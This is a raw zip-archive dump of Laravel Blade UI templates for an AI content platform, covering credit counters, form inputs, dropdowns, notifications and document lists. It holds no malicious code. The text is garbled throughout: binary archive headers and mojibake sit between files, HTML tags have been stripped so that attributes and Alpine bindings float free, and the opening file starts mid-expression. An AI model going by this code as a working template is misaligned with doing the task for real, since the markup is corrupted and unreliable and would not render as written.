($modalTriggerPos === 'inline' && $showType !== 'button') { $base_class .= ' pe-12'; $modal_trigger_base_class .= ' absolute end-0 top-0 size-9 shrink-0 p-0 outline-heading-foreground/10 hover:bg-primary hover:text-primary-foreground'; } @endphp @if ($showType === 'directly')
    @else @php $wordContainUnlimited = $imageContainUnlimited = false; $imageCreditsCount = $wordCreditsCount = 0; $wordEntities = $imageEntities = null; if (auth()->check()) { if (isset($team) && $team?->exists) { $wordEntities = \App\Domains\Entity\EntityStats::word()->forTeam($team); $imageEntities = \App\Domains\Entity\EntityStats::image()->forTeam($team); } else { $wordEntities = \App\Domains\Entity\EntityStats::word()->forUser(auth()->user()); $imageEntities = \App\Domains\Entity\EntityStats::image()->forUser(auth()->user()); } $wordContainUnlimited = $wordEntities->checkIfThereUnlimited(); $imageContainUnlimited = $imageEntities->checkIfThereUnlimited(); $wordCreditsCount = $wordEntities->totalCredits(); $imageCreditsCount = $imageEntities->totalCredits(); } $totalCreditsCount = $imageCreditsCount + $wordCreditsCount; $totalCreditsCount = (int) $totalCreditsCount === 0 ? 1 : $totalCreditsCount; if ($wordContainUnlimited && $imageContainUnlimited) { $progressbar_text_base_class .= ' shrink-1'; $progressbar_image_base_class .= ' shrink-1'; } else { $progressbar_text_base_class .= ' shrink-0'; $progressbar_image_base_class .= ' shrink-0'; } $uniqueDriversByDefaultImageModel = $imageEntities ? $imageEntities ->list() ->filter(function ($driver) { $engine = $driver->engine(); $defaultModel = $engine?->getDefaultImageModel(); return $defaultModel && EntityEnum::fromSlug($driver->enum()->slug()) === $defaultModel; }) ->unique(function ($driver) { return $driver->engine()->value; }) : collect(); @endphp
    withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} @if ($aiImage) x-data="{ init() { if ( this.activeGenerator ) { this.generator = this.activeGenerator; this.$watch('activeGenerator', value => { if ( value === 'flux-pro' ) { value = 'fal_ai'; } this.generator = value; }); } }, _generator: '{{ $uniqueDriversByDefaultImageModel->first()?->engine()->value }}', get generator() { return this._generator; }, set generator(value) { this._generator = value; } }" @active-generator-changed.window="console.log($event.detail);generator = $event.detail" @endif > @if ($showType !== 'button')
    @if ($aiImage) @foreach ($uniqueDriversByDefaultImageModel as $driver) {{ $driver->isUnlimitedCredit() ? __('Unlimited') : $driver->creditBalance() }} @endforeach @else @formatNumberShort($wordEntities->checkIfThereUnlimited() ? __('Unlimited') : $wordEntities->totalCredits()) @if (!$wordEntities->checkIfThereUnlimited()) @endif @endif @formatNumberShort($imageEntities->checkIfThereUnlimited() ? __('Unlimited') : $imageEntities->totalCredits()) @if (!$imageEntities->checkIfThereUnlimited()) @endif
    twMergeFor('progress', $progress_base_class, $progressHeight) }}>
    twMergeFor('progressbar-text', $progressbar_text_base_class) }} style="width: {{ $wordContainUnlimited ? 100 : ($wordCreditsCount / $totalCreditsCount) * 100 }}%" >
    twMergeFor('progressbar-image', $progressbar_image_base_class) }} style="width: {{ $imageContainUnlimited ? 100 : ($imageCreditsCount / $totalCreditsCount) * 100 }}%" >
    @endif get('class:modal')), ]) title="{{ __('Your Credit List') }}" disable-focus > @if (isset($trigger_label)) {{ $trigger_label }} @else @if ($attributes->has('expanded-modal-trigger')) {{ __('View Your Credits') }} @else @endif @endif

    {{ __('Unlock your creativity with credits') }}

    {{ __('Each credit unlocks powerful AI tools and features designed to enhance your content creation.') }}

    {{ __('Close') }} {{ __('Upgrade Plan') }}
    @endif PK˜W]GP6Ö;;(default/components/forms/input.blade.phpnu„[µü¤@php $container_base_class = 'lqd-input-container relative'; $input_base_class = 'lqd-input block peer w-full px-4 py-2 border border-input-border bg-input-background text-input-foreground text-base ring-offset-0 transition-colors focus:border-secondary focus:outline-0 focus:ring focus:ring-secondary dark:focus:ring-foreground/10 sm:text-2xs'; $input_checkbox_base_class = 'lqd-input peer border-input-border focus:ring focus:ring-secondary dark:focus:ring-foreground/10'; $input_checkbox_custom_wrapper_base_class = 'lqd-input-checkbox-custom-wrap inline-flex items-center justify-center size-[18px] shrink-0 rounded-full bg-foreground/10 text-heading-foreground bg-center bg-no-repeat peer-checked:bg-primary/[7%] peer-checked:text-primary'; $label_base_class = 'lqd-input-label flex cursor-pointer items-center gap-2 text-2xs font-medium leading-none text-label'; $label_extra_base_class = 'ms-auto'; $variations = [ 'size' => [ 'none' => 'lqd-input-size-none', 'sm' => 'lqd-input-sm h-9', 'md' => 'lqd-input-md h-10', 'lg' => 'lqd-input-lg h-11', 'xl' => 'lqd-input-xl h-14 px-6', ], ]; if ($type === 'textarea') { $size = 'none'; } if ($switcher) { $input_checkbox_base_class .= ' lqd-input-switcher border-2 border-input-border [--input-rounded-multiplier:5] cursor-pointer appearance-none [background-size:1.3rem] bg-left bg-no-repeat transition-all checked:bg-right checked:bg-heading-foreground checked:border-heading-foreground dark:checked:bg-label dark:checked:border-label'; $variations['size'] = [ 'sm' => 'lqd-input-sm w-[34px] h-[18px]', 'md' => 'lqd-input-md w-12 h-6', ]; } elseif ($custom) { $input_checkbox_base_class = 'lqd-input peer rounded size-0 invisible absolute top-0 start-0'; } if ($type !== 'checkbox' && $type !== 'radio') { $label_base_class .= ' mb-3'; } if (!empty($label) && empty($id)) { $id = str()->random(10); } if ($stepper) { $input_base_class .= ' lqd-input-stepper appearance-none text-center px-2'; } $size = isset($variations['size'][$size]) ? $variations['size'][$size] : $variations['size']['md']; @endphp
    withoutTwMergeClasses()->twMergeFor('container', $container_base_class, $containerClass, $attributes->get('class:container')) }} @if ($attributes->has('x-show')) x-show="{{ $attributes->get('x-show') }}" @endif @if ($type === 'password') x-data='{ type: "{{ $type }}", get inputValueVisible() { return this.type !== "password" }, toggleType() { this.type = this.type === "text" ? "password" : "text"; } }' @endif @if ($stepper) x-data='{ value: {{ !empty($value) ? $value : 0 }}, min: {{ $attributes->has('min') ? $attributes->get('min') : 0 }}, max: {{ $attributes->has('max') ? $attributes->get('max') : 999999 }}, step: {{ $attributes->has('step') ? $attributes->get('step') : 1 }}, setValue(value) { this.value = value; this.$refs.input.setAttribute("value", this.value); this.$refs.input.dispatchEvent(new Event("input")); this.$refs.input.dispatchEvent(new Event("change")); } }' @endif > {{-- Label --}} @if (!empty($label) || ($type === 'checkbox' || $type === 'radio')) @endif {{-- Wrapper if there is icon over the input --}} @if ($type === 'password' || !empty($icon) || !empty($action) || $stepper)
    @endif {{-- Inputs other than checkbox, radio and select --}} @if ($type !== 'checkbox' && $type !== 'radio' && $type !== 'select' && $type !== 'textarea' && $type !== 'color') withoutTwMergeClasses()->twMerge($input_base_class, $size, $attributes->get('class')) }} name="{{ $name }}" value="{{ $value }}" @if ($type === 'password') :type="type" @endif type={{ $type }} placeholder="{!! $placeholder !!}" {{ $attributes }} @if ($stepper) :value="(value).toString().includes('.') ? parseFloat(value).toFixed(2) : value" x-ref="input" @endif @if ($attributes->has('x-ref') && filled($attributes->get('x-ref'))) x-ref="{{ $attributes->get('x-ref') }}" @endif @if ($attributes->has('x-trap') && filled($attributes->get('x-trap'))) x-trap="{{ $attributes->get('x-trap') }}" @endif @if ($attributes->has('x-model')) x-model="{{ $attributes->get('x-model') }}" @endif /> {{ $slot }} @endif {{-- Select input --}} @if ($type === 'select') @endif {{-- Textarea input --}} @if ($type === 'textarea') @endif {{-- Color input --}} @if ($type === 'color')
    withoutTwMergeClasses()->twMerge($input_base_class, 'flex items-center gap-3', $size, $attributes->get('class')) }} x-data="liquidColorPicker({ colorVal: '{{ $value }}' })" >
    twMergeFor('input', 'grow border-none bg-transparent text-inherit outline-none') }} id="{{ $id }}" name="{{ $name }}" value="{{ $value }}" type="text" placeholder="{!! $placeholder !!}" :value="colorVal" x-ref="colorInput" @if ($attributes->has('x-model')) x-model="{{ $attributes->get('x-model') }}" @endif {{ $attributes }} @change="picker?.setColor($event.target.value);" @keydown.enter.prevent="picker?.setColor($event.target.value);" @focus="picker?.open(); $el.select()" /> twMergeFor('clear-btn', 'hidden text-2xs font-medium') }} variant="outline" size="sm" type="button" @click.prevent="picker?.clear()" ::class="{ 'hidden': colorVal === '' }" > @lang('Clear')
    @endif {{-- Password visibility toggle button --}} @if ($type === 'password') @endif {{-- Icon --}} @if (!empty($icon)) {!! $icon !!} @endif {{-- Action --}} @if (!empty($action))
    twMergeFor('action', "absolute inset-y-0 end-0 border-s") }} > {{ $action }}
    @endif {{-- Stepper --}} @if ($stepper) @endif {{-- Wrapper if there is icon over the input --}} @if ($type === 'password' || !empty($icon) || !empty($action) || $stepper)
    @endif
    @if ($type === 'color') @pushOnce('script') @endPushOnce @endif {{-- Initiate Select2 for select elements with multiple attribute --}} @if ($type === 'select' && $attributes->has('multiple')) @pushOnce('css') @endPushOnce @pushOnce('script') @endPushOnce @endif PK˜W]`„;  .default/components/dropdown/dropdown.blade.phpnu„[µü¤@php $base_class = 'lqd-dropdown flex relative group/dropdown [--dropdown-offset:0px]'; $trigger_base_class = 'lqd-dropdown-trigger hover:translate-y-0 before:absolute before:-inset-3 before:pointer-events-none focus-visible:outline focus-visible:outline-2 focus-visible:outline-offset-2 group-[&.lqd-is-active]/dropdown:before:pointer-events-auto'; $dropdown_base_class = 'lqd-dropdown-dropdown absolute top-full opacity-0 invisible z-[1000] translate-y-1 pointer-events-none transition before:absolute before:bottom-full before:-top-[--dropdown-offset] before:inset-x-0 [&.lqd-is-active]/dropdown:opacity-100 [&.lqd-is-active]/dropdown:visible [&.lqd-is-active]/dropdown:translate-y-0 [&.lqd-is-active]/dropdown:pointer-events-auto'; $dropdown_content_base_class = 'lqd-dropdown-dropdown-content w-44 border border-dropdown-border rounded-dropdown bg-dropdown-background text-dropdown-foreground shadow-lg shadow-black/5'; if ($anchor === 'start') { $dropdown_base_class .= ' start-0'; } else { $dropdown_base_class .= ' end-0'; } @endphp
    !empty($offsetY), ]) x-data="dropdown({ triggerType: '{{ $triggerType }}', preferredAnchor: '{{ $anchor }}', offsetY: '{{ $offsetY }}', teleport: {{ $teleport ? 'true' : 'false' }} })" x-bind="parent" x-ref="parent" > {{ $trigger }} @if ($teleport) @endif
    PK˜W]}Lzh>>*default/components/dropdown/item.blade.phpnu„[µü¤
    {{ $slot }}
    PK˜W]é]Dd  +default/components/accordion-item.blade.phpnu„[µü¤
    PK˜W]à‘ýË©©-default/components/update-available.blade.phpnu„[µü¤
    {{ __('Update Available') }}
    PK˜W]\²—   *default/components/notifications.blade.phpnu„[µü¤@php $notifications = []; $unreadNotifications = auth()->user()->unreadNotifications; foreach ($unreadNotifications as $notification) { $notifications[] = [ 'title' => $notification->data['data']['title'], 'message' => $notification->data['data']['message'], 'link' => $notification->data['data']['link'], 'unread' => true, 'id' => $notification->id, ]; } $trigger_class = @twMerge('size-6 max-lg:size-10 max-lg:border max-lg:dark:bg-white/[3%]', $attributes->get('class:trigger')); @endphp
    withoutTwMergeClasses()->twMerge('notifications-wrap group hidden md:flex') }} x-data="notifications({{ json_encode($notifications) }})" x-init="$store.notifications.setNotifications(notifications)" :class="{ 'has-unread': $store.notifications.hasUnread() }" > twMergeFor('dropdown', 'notifications-dropdown') }} anchor="end" offsetY="{{ $attributes->get('dropdown-offset-y') ?? '26px' }}" >

    {{ trans('Notifications') }} {{ trans('Mark All As Read') }}

    {{ trans("There's No Notifications") }}

    PK˜W]&Žc› › 2default/components/tiptap/floating-menus.blade.phpnu„[µü¤{{-- Floating menus --}}
    {{-- h1 button --}} {{-- h1 button --}} {{-- ordered list --}} {{-- bullet list --}} {{-- code block --}} {{-- blockquote button --}}
    PK˜W]›ì�¥V#V#0default/components/tiptap/bubble-menus.blade.phpnu„[µü¤{{-- Bubble menus --}}
    {{-- bold button --}} {{-- italic button --}} {{-- strike button --}} {{-- underline button --}} {{-- link button --}} {{-- code button --}} {{-- blockquote button --}} {{-- ordered list --}} {{-- bullet list --}} {{-- code block --}} {{-- heading --}}
    PK˜W]£¬�Åxx.default/components/language-dropdown.blade.phpnu„[µü¤@php $trigger_classname = @twMerge('flex size-6 items-center justify-center max-lg:size-10 max-lg:rounded-full max-lg:border max-lg:dark:bg-white/[3%]', $attributes->get('class:trigger')); @endphp twMerge('header-language-dropdown') }} anchor="end" offsetY="26px" > @foreach (LaravelLocalization::getSupportedLocales() as $localeCode => $properties) @if (in_array($localeCode, explode(',', $settings_two->languages))) {{ country2flag(substr($properties['regional'], strrpos($properties['regional'], '_') + 1)) }} {{ $properties['native'] }} @endif @endforeach PK˜W]withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} style="color: {{ $color }}"> {{ $status }} PK˜W]O÷`!**)default/components/outline-glow.blade.phpnu„[µü¤@props([ 'effect' => 1, ]) @php $base_class = 'lqd-outline-glow absolute transition-all duration-300 inline-block rounded-[inherit] pointer-events-none overflow-hidden lqd-outline-glow-effect-' . $effect; $inner_base_class = 'lqd-outline-glow-inner absolute start-1/2 top-1/2 inline-block aspect-square min-h-[150%] min-w-[150%] rounded-[inherit]'; @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }}> twMergeFor('inner', $inner_base_class) }}> PK˜W]ˆ¡‚�ÈÈ/default/components/documents/item-min.blade.phpnu„[µü¤@php $base_class .= ' flex gap-4 p-4 text-xs last:border-none'; $isImage = $entry->generator->type === 'image'; @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} href="{{ (route('dashboard.user.openai.documents.single', $entry->slug)) }}" > @if ($entry->generator->image !== 'none') {!! html_entity_decode($entry->generator->image) !!} @endif {{ $isImage ? str()->limit($entry->input, 25) : __($entry->generator->title) }} {{ str()->words(__($entry->generator->description), 30) }} {{ __('in Workbook') }} {{ $entry->created_at->format('M d, Y') }} PK˜W]ÍÊß//-default/components/documents/folder.blade.phpnu„[µü¤@php $base_class = 'lqd-posts-folder lqd-docs-folder relative z-20 px-5 py-2.5 bg-folder-background text-folder-foreground transition-all'; if (!$folderSingleView) { $base_class .= ' hover:scale-[1.022] hover:shadow-md'; } else { $base_class .= ' grow w-full'; } @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} >

    {{ $folder->name }}

    {{ $folder->updated_at->diffForHumans() }}
    @if (!$folderSingleView) @endif @foreach (['rename', 'delete'] as $action) @if ($action === 'rename') @else @endif {{ __(ucfirst($action)) }} @includeIf('panel.user.openai.components.modals.' . $action . '-folder', [ 'folder_id' => $folder->id, 'folder_name' => $folder->name, ]) @endforeach
    PK˜W]!xpW+default/components/documents/item.blade.phpnu„[µü¤@php $base_class = "lqd-posts-item lqd-docs-item lqd-docs-item-$style relative w-full items-center border-b transition-all last:border-b-0 hover:bg-foreground/5 group-[&[data-view-mode=grid]]:min-h-48 group-[&[data-view-mode=grid]]:bg-card-background group-[&[data-view-mode=grid]]:gap-0 group-[&[data-view-mode=grid]]:pb-1"; @endphp @if ($style === 'min') @include('default.components.documents.item-min', [ 'entry' => $entry, 'attributes' => $attributes, 'base_class' => $base_class, 'folders' => $folders, ]) @else @include('default.components.documents.item-extended', [ 'entry' => $entry, 'attributes' => $attributes, 'base_class' => $base_class, 'folders' => $folders, ]) @endif PK˜W]�Ý„× * *4default/components/documents/item-extended.blade.phpnu„[µü¤@php $base_class .= ' grid gap-4 px-4 py-3 text-2xs font-medium'; $isImage = $entry->generator->type === 'image'; $isVideo = $entry->generator->type === 'video'; @endphp
    withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} >
    @if (request()->route()->getName() !== 'dashboard.user.index') @endif @if ($isImage) {{ __($entry->generator->title) }} @elseif ($isVideo) @else @if ($entry->generator->image !== 'none') {!! html_entity_decode($entry->generator->image) !!} @endif @endif

    @php $title = $entry->title ? $entry->title . ' : ' . $entry->output : $entry->output; @endphp @if (in_array($entry->generator->type, ['text', 'youtube', 'rss', 'code', 'image', 'video'])) {{ str()->limit(strip_tags($entry->generator->type === 'image' ? $entry->input : $title), $trim) }} @elseif($entry->generator->type == 'audio') {!! str()->limit($title, $trim) !!} @elseif ($entry->generator->type == 'voiceover' || $entry->generator->type == 'isolator') {{ str()->limit($entry->title, $trim) }} @endif

    generator->color) style="background: {{ $entry->generator->color }}; color: black;" @endif > {{ __($entry->generator->title) }}

    {{-- {{ date('M j Y', strtotime($entry->created_at)) }} --}} {{-- --}} {{-- , {{ date('H:i', strtotime($entry->created_at)) }} --}} {{-- --}} {{ $entry->created_at->diffForHumans() }}

    {{ $entry->credits }}
    @if (!$hideFav) @endif {{ __('Move to folder') }} @includeIf('panel.user.openai.components.modals.move-to-folder', [ 'file_slug' => $entry->slug, 'folders' => $folders, ])
    PK˜W]>{±W(W(Adefault/components/engine-select-list-with-change-alert.blade.phpnu„[µü¤
    @lang('The default AI Engine is being updated. Only the default model\'s credits for each AI Engine will be visible and usable by users. User credits will not be automatically transferred to the default model in new default Engine. Therefore, if users lack credits for default model in this new AI Engine, they will be unable to use the tools. Additionally, if no credits are allocated for the default model in the new default Engine in the plans, newly registered users will also be unable to use the tools due to insufficient credits.')

    {{__("Transfer Users Credits")}}

    {{__("Click to move users credits from the model of the old AI Engine to the default model of the new AI Engine.")}}

    {{__("Update Plans Credits")}}

    {{__("Click to transfers allocated credits from the default model of the old AI Engine to the default model of the new AI Engine in plans for the new registered users.")}}

    PK˜W]„‹tcc)default/components/trash-button.blade.phpnu„[µü¤@php $base_class = 'lqd-fav-btn z-10 size-9'; @endphp withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} size="none" variant="ghost-shadow" @click.prevent="$ajax('{{ $deleteUrl }}', { method: 'post', body: { _token: '{{ csrf_token() }}', id: {{ $id }} }, events: true, })" @ajax:missing="$event.preventDefault()" @ajax:after="document.getElementById('lqd-prompt-list').removeChild($el.parentElement)" href="#" title="{{ __('Delete') }}" > PK˜W]©@XÄçç8default/components/change-indicator-plus-minus.blade.phpnu„[µü¤ $value == 0, 'text-red-700 bg-red-700/10 dark:bg-red-600/10 dark:text-red-600' => $value < 0, 'text-green-600 bg-green-500/10' => $value > 0, ])> {{ abs($value) }}% PK˜W]±j:øø&default/components/form/text.blade.phpnu„[µü¤@aware(['icon', 'action', 'size', 'error', 'stepper']) @props([ 'icon' => null, 'action' => null, 'stepper' => null, 'error' => null, 'sizes' => [ 'none' => 'lqd-input-size-none rounded-lg', 'sm' => 'lqd-input-sm h-9 rounded-md', 'md' => 'lqd-input-md h-10 rounded-lg', 'lg' => 'lqd-input-lg h-11 rounded-xl', 'xl' => 'lqd-input-xl h-14 rounded-2xl px-6', '2xl' => 'lqd-input-2xl h-16 rounded-full px-8', ], 'size' => 'lg', 'type' => 'text', ]) class(['form-control', 'form-input-stepper' => $stepper, 'border-2 border-rose-500' => $error]) }} :id="$id('text-input')" type="{{ $type }}" @if ($attributes->has('wire:model')) x-data="{ value: @entangle($attributes->wire('model')) }" @if ($stepper) x-model="value" x-on:input="value = (value).toString().includes('.') ? parseFloat(value).toFixed(2) : value" @else x-model="value" @endif @endif @if ($error) aria-invalid="true" autofocus x-bind:aria-describedby="@if ($id ?? '') {{ $id }}-error @else $id('text-input') + '-error' @endif" @endif/> PK˜W]AÔ3ûe e )default/components/form/stepper.blade.phpnu„[µü¤@aware(['icon', 'action', 'size', 'error', 'stepper']) @props([ 'icon' => null, 'action' => null, 'stepper' => true, 'error' => null, 'sizes' => [ 'none' => 'lqd-input-size-none rounded-lg', 'sm' => 'lqd-input-sm h-9 rounded-md', 'md' => 'lqd-input-md h-10 rounded-lg', 'lg' => 'lqd-input-lg h-11 rounded-xl', 'xl' => 'lqd-input-xl h-14 rounded-2xl px-6', '2xl' => 'lqd-input-2xl h-16 rounded-full px-8', ], 'size' => 'lg', 'type' => 'text', 'alpineData' => [ 'value' => '%s', 'min' => '%s', 'max' => '%s', 'step' => '%s', ], 'series' => null, ]) class(['form-control text-center', 'form-input-stepper text-center flex justify-center items-center']) }} :id="$id('text-input')" type="{{ $type }}" x-data="{ value: @if ($attributes->has('wire:model')) @entangle($attributes->wire('model')) @else {{ $attributes->get('value') ?? 0 }} @endif }" x-model="value" x-on:input="value = (value).toString().includes('.') ? parseFloat(value).toFixed(2) : value" @if ($error) aria-invalid="true" autofocus x-bind:aria-describedby="@if ($id ?? '') {{ $id }}-error @else $id('text-input') + '-error' @endif" @endif/> PK˜W]lF/2ÓÓ*default/components/form/textarea.blade.phpnu„[µü¤@aware(['icon', 'action', 'error']) @props([ 'icon' => null, 'action' => null, 'error' => null, 'ace' => false, 'aceMode' => null, 'aceOptions' => [] ]) @if($aceMode) @php $aceOptions['mode'] = $aceMode; @endphp @endif @pushOnceFor('script:ace') {{----}} {{----}} {{----}} @endPushOnceFor @pushOnceFor('css:ace') @endPushOnceFor PK˜W]Déi�(('default/components/form/color.blade.phpnu„[µü¤@aware(['icon', 'action', 'size', 'error']) @props([ 'icon' => null, 'action' => null, 'error' => null, 'sizes' => [ 'none' => 'lqd-input-size-none rounded-lg', 'sm' => 'lqd-input-sm h-9 rounded-md', 'md' => 'lqd-input-md h-10 rounded-lg', 'lg' => 'lqd-input-lg h-11 rounded-xl', 'xl' => 'lqd-input-xl h-14 rounded-2xl px-6', '2xl' => 'lqd-input-2xl h-16 rounded-full px-8', ], 'size' => 'lg', ])
    has('wire:model')) x-data="{ 'colorVal': $wire.entangle('{{ $attributes->has('wire:model') }}') }" @else x-data="{ 'colorVal': '{{ $attributes->get('value', '#ffffff') }}' }" @endif >
    class([ 'relative -start-1/2 -top-1/2 h-[200%] w-[200%] cursor-pointer appearance-none rounded-full border-none p-0', ]) }} :id="$id('text-input')" :value="colorVal" x-model.debounce.500ms="colorVal" type="color" @if($error) aria-invalid="true" autofocus x-bind:aria-describedby="@if ($id ?? '') {{ $id }}-error @else $id('text-input') + '-error' @endif" @endif />
    PK˜W]Þ–ð8ˆˆ'default/components/form/label.blade.phpnu„[µü¤@aware(['id', 'label', 'tooltip', 'error']) @props([ 'id' => null, 'tooltip' => null, 'label' => null, 'error' => null, ]) PK˜W]ñýqq'default/components/form/group.blade.phpnu„[µü¤
    get('min') : 0 }}, max: {{ $attributes->has('max') ? $attributes->get('max') : 999999 }}, step: {{ $attributes->has('step') ? $attributes->get('step') : 1 }} }' @endif {{ $attributes->twMerge('form-group lqd-input-container relative') }} x-id="['text-input', 'input-description', 'input-error']" > @if ($label && !$noGroupLabel) twMergeFor('label') }} /> @endif {{ $slot }} @if ($error || $help)
    @if ($error)

    {{ $error }}

    @endif @if ($help)

    {{ $help }}

    @endif
    @endif
    PK˜W]úÔϳëë*default/components/form/checkbox.blade.phpnu„[µü¤@aware(['error', 'label', 'error']) @props([ 'label' => null, 'tooltip' => null, 'checked' => false, 'error' => null, 'position' => 'right', 'change' => null, 'name' => null, 'xModel' => null, ]) PK˜W]¿™+/E,E,-default/components/form/file-upload.blade.phpnu„[µü¤@props([ 'file' => null, 'accept' => 'image/jpg,image/jpeg,image/png,image/svg+xml', 'multiple' => false, ])
    @if(! $file) @php $randomId = Str::random(6); @endphp @endif {{-- Loading indicator for file remove --}}
    {{ __('Removing file...') }}
    {{-- Preview for mode 'attachment' --}}
    @if(is_array($file) && count($file) > 0) @foreach($file as $key => $f)
    @if(collect(['jpg', 'png', 'jpeg', 'webp'])->contains($f->guessExtension())) {{-- prints attachment.* --}}
    @else
    @endif
    @if ($multiple) {{-- prints attachment.* --}} @error($attributes->wire('model')->value . '.'. $key)

    {{ $message }}

    @enderror @endif
    {{ $f->getClientOriginalName() }}
    {{ Str::formatBytes($f->getSize()) }}
    •
    {{ $f->guessExtension() }}
    @endforeach @else @if($file)
    @if(collect(['jpg', 'png', 'jpeg', 'webp', 'svg'])->contains($file->guessExtension()))
    @else
    @endif
    @error($attributes->wire('model')->value)

    {{ $message }}

    @enderror
    {{ $file->getClientOriginalName() }}
    {{ Str::formatBytes($file->getSize()) }}
    •
    {{ $file->guessExtension() }}
    @endif @endif
    PK˜W]z ­t<<)default/components/form/wrapper.blade.phpnu„[µü¤@aware([ 'action', 'icon', 'stepper', ]) @props([ 'action' => null, 'icon' => null, 'stepper' => null, 'force' => false, 'inputActions' => null, ]) @if($action || $stepper || $icon || $force)
    {{ $slot }} {{-- Icon --}} @if ($icon) {!! $icon !!} @endif {{-- Action --}} @if ($action)
    {{ $action }}
    @endif @if($inputActions) {!! $inputActions !!} @endif
    @else {{ $slot }} @endifPK˜W]þÞðA  &default/components/form/file.blade.phpnu„[µü¤@aware(['icon', 'action', 'size', 'error']) @props([ 'icon' => null, 'action' => null, 'size' => 'md', 'error' => null, ]) PK˜W]ºš?00*default/components/form/password.blade.phpnu„[µü¤@aware(['icon', 'action', 'size', 'error']) @props([ 'icon' => null, 'action' => null, 'error' => null, 'sizes' => [ 'none' => 'lqd-input-size-none rounded-lg', 'sm' => 'lqd-input-sm h-9 rounded-md', 'md' => 'lqd-input-md h-10 rounded-lg', 'lg' => 'lqd-input-lg h-11 rounded-xl', 'xl' => 'lqd-input-xl h-14 rounded-2xl px-6', '2xl' => 'lqd-input-2xl h-16 rounded-full px-8', ], 'size' => 'lg', 'type' => 'text', ])
    class(['form-control']) }} :type="type" :id="$id('text-input')" type="password" @if($error) aria-invalid="true" autofocus x-bind:aria-describedby="@if ($id ?? '') {{ $id }}-error @else $id('text-input') + '-error' @endif" @endif />
    PK˜W]YÁÛ¥ ¥ (default/components/form/select.blade.phpnu„[µü¤@aware(['icon', 'action', 'size', 'error', 'stepper']) @props([ 'icon' => null, 'action' => null, 'stepper' => null, 'error' => null, 'size' => 'md', 'addNew' => false, 'name' => null, ]) @if ($addNew)
    @endif @if ($attributes->has('multiple')) {{ __('Hold cmd(on mac) or ctrl(on pc) to select multiple items.') }} @endif @if ($addNew) @php $newId = str()->random(10); @endphp {{ __('Add New') }}
    {{ __('Cancel') }} {{ __('Add') }}
    @endif @if ($addNew)
    @endif PK˜W]¶UüÚ((+default/components/shape-cutout-2.blade.phpnu„[µü¤@props([ 'position' => 'te', 'border-w' => '1px', 'roundness' => '0px', 'border-color' => 'hsl(var(--border))', 'background-color' => 'hsl(var(--background))', ]) withoutTwMergeClasses()->twMerge('lqd-cutout-2 pointer-events-none absolute z-0 inline-block bg-background transition-colors') }} > PK˜W]$¦c‚o!o!%default/components/titlebar.blade.phpnu„[µü¤@php $current_url = url()->current(); $base_class = 'lqd-titlebar pt-6 pb-7 border-b transition-colors'; $container_base_class = 'lqd-titlebar-container flex flex-wrap items-center justify-between gap-y-4'; $before_base_class = 'lqd-titlebar-before w-full'; $after_base_class = 'lqd-titlebar-after w-full'; $pretitle_base_class = 'lqd-titlebar-pretitle text-xs text-foreground/70 m-0'; $title_base_class = 'lqd-titlebar-title m-0'; $subtitle_base_class = 'lqd-titlebar-subtitle mt-1 text-2xs opacity-80 only:my-0 last:mb-0'; $actions_base_class = 'lqd-titlebar-actions flex flex-wrap items-center gap-2'; $generator_link = route('dashboard.user.openai.list') === $current_url ? '#lqd-generators-filter-list' : route('dashboard.user.openai.list'); if (!$setting->feature_ai_writer) { $generator_link = route('dashboard.index'); } $wide_container_px = Theme::getSetting('wideLayoutPaddingX', ''); $has_title = true; $has_pretitle = true; $has_subtitle = view()->hasSection('titlebar_subtitle'); $titlebar_after_in_nav_col = $attributes->has('titlbar-after-place') && $attributes->get('titlbar-after-place') === 'col-nav'; $title_section_name = ''; if (view()->hasSection('titlebar_title')) { $title_section_name = 'titlebar_title'; } elseif (view()->hasSection('title')) { $title_section_name = 'title'; } if ($attributes->has('title') && blank($attributes->get('title'))) { $has_title = false; } if ($attributes->has('pretitle') && blank($attributes->get('pretitle'))) { $has_pretitle = false; } if (!$attributes->get('layout-wide')) { $container_base_class .= ' container'; } else { $container_base_class .= ' container-fluid'; if (!empty($wide_container_px)) { $container_base_class .= ' ' . $wide_container_px; } } @endphp
    withoutTwMergeClasses()->twMerge($base_class, $attributes->get('class')) }} >
    twMergeFor('container', $container_base_class) }}> @if (view()->hasSection('titlebar_before') || !empty($before))
    twMergeFor('before', $before_base_class) }}> @if (view()->hasSection('titlebar_before')) @yield('titlebar_before') @elseif (!empty($before)) {{ $before }} @endif
    @endif
    @if ($has_pretitle)

    twMergeFor('pretitle', $pretitle_base_class) }}> @if (view()->hasSection('titlebar_pretitle')) @yield('titlebar_pretitle') @elseif (view()->hasSection('pretitle')) @yield('pretitle') @else @if (route('dashboard.user.index') === $current_url || route('dashboard.admin.index') === $current_url) {{ __('Dashboard') }} @else {{ __('Back to dashboard') }} @endif @endif

    @endif @if ($has_title) @if (view()->hasSection('titlebar_title_after'))

    twMergeFor('title', $title_base_class) }}> @yield($title_section_name)

    @yield('titlebar_title_after')
    @else

    twMergeFor('title', $title_base_class) }}> @yield($title_section_name)

    @endif @endif @if ($has_subtitle)

    twMergeFor('subtitle', $subtitle_base_class) }}> @yield('titlebar_subtitle')

    @endif @php $status_titlebar_after = $titlebar_after_in_nav_col && (!$has_pretitle && !$has_subtitle) && (view()->hasSection('titlebar_after') || !empty($after)); $theme = \Theme::get(); if ($theme == 'sleek' && request()->routeIs('dashboard.user.openai.list')) { $status_titlebar_after = $titlebar_after_in_nav_col && !$has_pretitle && (view()->hasSection('titlebar_after') || !empty($after)); } @endphp @if ($status_titlebar_after)
    twMergeFor('after', $after_base_class) }}> @if (view()->hasSection('titlebar_after')) @yield('titlebar_after') @elseif (!empty($after)) {{ $after }} @endif
    @endif
    @hasSection('titlebar_actions_before') @yield('titlebar_actions_before') @endif @if (view()->hasSection('titlebar_actions'))
    twMergeFor('actions', $actions_base_class) }}> @yield('titlebar_actions')
    @elseif (!empty($actions))
    twMergeFor('actions', $actions_base_class, $actions->attributes->get('class')) }}> {{ $actions }}
    @else
